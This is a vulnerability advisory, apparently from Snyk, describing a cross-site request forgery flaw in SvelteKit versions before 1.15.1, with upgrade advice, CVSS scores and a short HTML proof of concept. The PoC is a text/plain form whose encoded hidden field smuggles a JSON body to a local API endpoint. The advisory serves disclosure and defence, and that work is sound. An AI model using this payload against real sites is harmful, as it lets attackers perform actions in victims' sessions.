Cross-site Request Forgery (CSRF) Affecting @sveltejs/kit package, versions <1.15.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    EPSS
    0.1% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-SVELTEJSKIT-5411362
  • published 5 Apr 2023
  • disclosed 4 Apr 2023
  • credit Viktor Chuchurski

How to fix?

Upgrade @sveltejs/kit to version 1.15.1 or higher.

Overview

@sveltejs/kit is a SvelteKit framework and CLI

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) by sending a JSON request with a different Content-Type header value, such as text/plain. This allows malicious requests to be submitted from third-party domains, which can allow execution of operations within the context of the victim's session, and in extreme scenarios can lead to unauthorized access to users’ accounts.

PoC

<!DOCTYPE html>
<html>
<head></head>
<body>
  <h1 id="name"></h1>
  <form action="http://localhost:3000/api/test" method="POST" enctype="text/plain">
    <input type="hidden" name="&#123;&quot;name&quot;&#58;&quot;test" value="&quot;&#44;&quot;age&quot;&#58;123&#125;" />
    <input type="submit" value="Submit" />
  </form>
</body>
</html>

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.8 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

8.8 high